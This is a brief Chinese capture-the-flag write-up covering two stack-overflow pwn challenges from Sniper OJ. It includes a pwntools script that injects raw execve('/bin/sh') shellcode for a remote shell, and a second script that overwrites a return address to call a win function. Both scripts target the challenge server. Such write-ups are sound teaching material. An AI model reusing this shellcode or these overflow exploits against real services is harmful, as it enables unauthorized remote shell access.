Sniper OJ部分writeup

0x00 shellcode pwn

因为题目直接有源码,我就不拖进IDA了,直接看代码

这是一个典型的栈溢出,我们只需要构造shellcode获得/bin/sh权限就可以得到flag.下面是所用脚本。

 

from pwn import *

from sys import *

reload(sys)

sys.setdefaultencoding('gb18030')

shell_code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

conn = remote('123.207.114.37',30001) 

addr = conn.recvuntil(']')

add = int(addr[-13:-1],16)               

shellcode_add = p64(add + 24 + 8)

v = 24*"a" + shellcode_add + shell_code

conn.send(v+'\n')

conn.interactive()

cd

运行脚本,得到flag

0x01 bof pwn

源码如下

这是一个更简单的栈溢出,只要构造溢出调用bingo函数就能得到flag

把源文件拖进ida,发现bingo函数位于地址0x0000000000400616处

于是编写脚本

#!/usr/bin/python
from pwn import *
#context.log_level = 'DEBUG'
r = remote('123.207.114.37',30000)
r.send('A'*24+'\x16\x06\x40\x00\x00\x00\x00\x00') 
r.interactive()

得到flag

 

转载于:https://www.cnblogs.com/elvirangel/p/6708397.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值